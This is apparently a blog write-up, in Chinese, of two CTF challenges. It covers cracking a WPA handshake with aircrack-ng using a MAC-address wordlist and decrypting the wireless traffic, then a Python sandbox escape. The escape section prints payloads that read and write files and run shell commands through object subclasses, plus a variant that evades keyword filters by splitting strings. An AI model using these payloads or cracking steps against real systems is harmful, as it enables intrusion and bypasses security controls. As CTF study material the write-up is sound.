前言
寻找入侵者
1 | 黑客使用无线钓鱼攻击一个SSID为“CyberPeace”的热点,但是我们的蜜罐系统捕获了他的数据包,并且已经得知他的握手包密码就是他的网卡地址。可是根据我们最新获得的情况,他又发送重连请求的Malformat Frame试图崩溃我们的无线路由器。 |
下载后有两个压缩包,一个是attack.pcapng
,一个是hanshake.cap
,按照题目的意思就是密码在attack.pcapng
里的一个mac地址
,然后用hanshake.cap
验证该密码的正确性。那首先我们先去找一下密码,因为不会tshark
,但是他能做的wireshark
也能,可能就是实现的方式的效率问题。。。
如何提取mac地址
?在wireshark
的操作如下:统计
–> 端点
,打开后在Endpoint类型
里勾上IEEE 802.11
,就能出现如下画面:
然后点击
复制
–> 作为CSV
就能将所有的mac地址
提取出来,当然你还需要清理下数据,写个Python小脚本即可。将得到的密码本拿去验证一下:
1 | aircrack-ng hanshake.cap -w password.txt |
最后得到密码。
有了密码后我们就能解开
hanshake.cap
里的数据,这个跟前面用到过的解https
的方式类似,都是需要导入秘钥。但IEEE 802.11
的导入方式不同,因为是它用的是wpa/wpa2
的加密方式,所以我们需要将秘钥转换成wpa-psk
的格式,wireshark
提供了这个工具:传送门。按照要求填入信息就能得到wpa-psk
,如:拿到psk后,在wireshark里如下操作:
1 | 编辑 ---> 首选项 ---> Protocols ---> IEEE 802.11 |
这样我们就能看到数据包了,然后追踪流,比较可疑的是发现了一个key.rar
。
因为是在线了,我们可以自己下下来看看,比赛的时候也止步于此了,因为下下来发现跟
attack.pcapng
差不多,而且报文还很多,就猜想flag可能不在这,然而看了writeup后才发现flag就在这个包,出题人真会玩,都到了这一步了,线索还不给得清晰点
。在那个
key.pcap
里搜索一下flag
,就能出现了,但因为比赛结束停止了提交,而且其他博客又没有放出flag
,所以就自己熟悉一下好了。1 | wlan matches "flag" |
RUN
其实我最想记录的是这道题,这是道python
的沙箱逃逸
。比较有趣,以前也没接触过,网上找了一些payload
但都因为绕不过关键字而被ban
掉。
因为它过滤了一些危险函数,比如:os、sys等,但我们可以通过类的继承关系找到被ban
掉的库,然后将它导入进来。我们可以先看一下payload的前半部分:1
().__class__.__bases__[0].__subclasses__()
从代码上我们比较好理解,就是从()
找到它的父类
也就是__bases__[0]
,而这个父类就是Python中的根类<type 'object'>
,它里面有很多的子类,包括file
等,这些子类中就有跟os、system
等相关的方法
,所以,我们可以从这些子类中找到自己需要的方法。
知道了上面的基础后,我们可以找到一些payload,比如:1
2
3
4
5
6
7
8//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
但这道题的突破点是在获得类的属性
上,从网上找的payload中存在一些被ban
掉的关键字,如func_globals中存在ls
,这也是做题时卡着的地方。而这些都可以用__getattribute__
进行突破,它的用法如下:
可以看到通过
__getattribute__
我们可以传字符串来进行方法的调用,这就是我们需要的,然后我们将网上找的payload改造一下:1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read() |
因为它没有回显,所以我们只能通过print
来获得返回的信息。最终我们拿到flag
。在网上找的时候看到了另一种获得方法的函数:1
getattr(().__class__.__bases__[0].__subclasses__()[59]().__module.__builtins__['__import__']('o'+'s'), 's'+'yst'+'em')('ls')
它是通过getattr()
来实现的,但在本题的环境中这个payload并不能用。相关的参考链接: